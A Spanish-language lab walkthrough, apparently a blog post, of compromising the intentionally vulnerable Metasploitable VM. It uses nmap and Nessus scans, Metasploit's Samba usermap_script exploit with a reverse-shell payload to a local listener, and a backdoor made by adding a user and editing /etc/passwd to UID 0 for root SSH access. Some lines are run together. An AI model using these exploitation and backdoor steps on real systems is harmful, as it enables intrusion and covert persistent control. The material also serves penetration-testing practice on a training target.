Esta sólo es una técnica para explotar la distro,
veo un sin fín de caminos, recorrí el primero con el que me topé.
Próximamente explicaré otros métodos.
La verdad, esperaba algo más complejo, pero ahí va
Tiempo: ~20 minutos
¿Qué necesitaremos?
- Metasploitable 05/2010
- Metasploit
- Nmap
- Nessus Scanner
¿Cuáles serán nuestros objetivos?
- Instalación del entorno
- Mapeo de red
- Escaneo
- Análisis
- Ataque y Root
- Backdoor SSH
- Despedida
¿Reglas?
- No.
Instalación del entorno
Lo primero será obtener la imagen del disco duro del sistema desde el link citado anteriormente.
Cabe aclarar, que para acoplar el fichero VMDK a VirtualBox, primero tendrán que convertirlo a VDI. Esto se soluciona acoplandola a VMWare.
La configuración es autmática, sólo deberás configurar la red como adaptador host a host.
Mapeo de red
Como de costumbre, acudiremos a nmap.
nmap -sP 192.168.xxx.*
Starting Nmap 5.51 ( http://nmap.org ) at 2012-06-09 11:54 Hora de verano romance
Nmap scan report for 192.168.29.1
Host is up.
Nmap scan report for 192.168.29.128
Host is up (0.012s latency).
MAC Address: 00:0C:29:1E:8B:E7 (VMware)
Nmap scan report for 192.168.29.254
Host is up (0.0030s latency).
MAC Address: 00:50:56:F1:C8:4D (VMware)
Nmap done: 256 IP addresses (3 hosts up) scanned in 8.06 seconds
Nmap scan report for 192.168.29.1
Host is up.
Nmap scan report for 192.168.29.128
Host is up (0.012s latency).
MAC Address: 00:0C:29:1E:8B:E7 (VMware)
Nmap scan report for 192.168.29.254
Host is up (0.0030s latency).
MAC Address: 00:50:56:F1:C8:4D (VMware)
Nmap done: 256 IP addresses (3 hosts up) scanned in 8.06 seconds
Tenemos nuesta máquina lista en la dirección 192.168.29.128.
nmap -sS -sV 192.168.29.128
PORT STATE SERVICE VERSION
21/tcp open ftp?
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open telnet Linux telnetd25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.10 wi
th Suhosin-Patch)
139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:1E:8B:E7 (VMware)
Service Info: Host: metasploitable.localdomain; OS: Linux
Da más miedo que Bush hablando de paz.
Como sospechaba, aquí esta el terrorífico resultado de Nessus:
Alta:Apache HTTP Server Byte Range DoS Microsoft Windows SMB Shares Unprivileged Access Media: SMB Signing Disabled HTTP TRACE / TRACK Methods Allowed Apache HTTP Server httpOnly Cookie Information Disclosure Baja: [...] Muchisimas vulnerabilidades leves
Así que empecemos por la primera... Heap-Based Remote Buffer Overflow.
Buscando por Google concluimos:
Attackers can exploit this vulnerability to execute arbitrary code with SYSTEM-level privileges. Failed exploit attempts will result in a denial-of-service condition.
Un atacante puede ejecutar código arbitrario en la máquina remota mediante desbordamiento de buffer. Ésto se consigue sobreescribiendo la pila para redireccionar el punto de retorno hacia nuestro código malicioso, que, por ejemplo, dejará un puerto a la escucha.
Todo con permisos System (ROOT)
Si el ataque no prospera, nuestro ataque generará una saturación en dicho servicio que finalizará en K.O. informático (DoS). Véase PortKnocking
Análisis
Tenemos un fallo, de entre tantos, en el servicio SAMBA. Antes de ponernos a rompernos la cabeza con el exploit... Teniendo en cuenta que ya no es ningún reto, acudiremos directamente a Metasploit.
Esto no pretende ser ningún tipo de tutorial sobre nessus, metasploit o nmap, sino una guia de ataque. Sin embargo, para quienes jamás utilizaron MSF pero sí se dedican a esto, deberían conocer los comandos básicos. O cómo llegar a ellos.
- search EXPLOIT
- use EXPLOITlink
- search PAYPLOADS
- set PAYLOAD PayLoadlink
- show options
- set OPCIÓN Valor
- exploit
Procedamos al ataque.
Ataque y ROOT
Pues bien, primero sería acudir a la búsqueda del exploit.
search samba
Advertí el siguiente exploit, que utilicé:
use exploit/multi/samba/usermap_script
Me puse a identificar payloads... Haber cual me conviene más
search payload
Y configuré como payload una shell inversa para su S.O.
set PAYLOAD cmd/unix/reversepayload/cmd/unix/reverse
Y listo, solo falta configurar opciones.
SHOW OPTIONS ------------- set RPORT 445 set LHOST 192.168.29.1 RHOST 192.168.29.128
Final:
exploit
Backdoor SSH
Ya que logramos acceder con permisos de ROOT, es tan simple como ejecutar el comando passwd.
Posteriormente, estramos por ssh...
ssh root@192.168.29.128
root@192.168.29.128's password:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have mail.
root@metasploitable:~#
Dejamos un regalito:
root@metasploitable:~# adduser yo-mismo
Adding user `yo-mismo' ...
Adding new group `yo-mismo' (1004) ...
Adding new user `yo-mismo' (1004) with group `yo-mismo' ...
Creating home directory `/home/yo-mismo' ...
Copying files from `/etc/skel' ...
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for yo-mismo
Enter the new value, or press ENTER for the default
Full Name []:
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [y/N] y
root@metasploitable:~#
Ya tenemos un nuevo usuario en la máquina.... Vamos a cambiarle los permisos
nano /etc/passwd
yo-mismo:x:1004:1004:,,,:/home/yo-mismo:/bin/bashar/lib/postgresql:/bin/bash Por:
yo-mismo:x:0:0:,,,:/home/yo-mismo:/bin/bashar/lib/postgresql:/bin/bash
Con esto modificamos el GID y el UID del usuario. únicamente sería preciso editar el ID del grupo al que pertenece (a root), pero buéh, la costumbre manda
¿Tenemos el usuario listo para entrar por SSH como ROOT?
ssh yo-mismo@192.168.29.128
yo-mismo@192.168.29.128's password:Last login: Sat Jun 9 06:48:10 2012 from 192.168.29.1Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686The programs included with the Ubuntu system are free software;the exact distribution terms for each program are described in theindividual files in /usr/share/doc/*/copyright.Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted byapplicable law.To access official Ubuntu documentation, please visit:root@metasploitable:~# id
uid=0(root) gid=0(root) groups=0(root)root@metasploitable:~#
Despedida
Link original: OverSec.orgDedicación: 11Sep, Hielasangre, Swash, .... A tí.
Un saludo!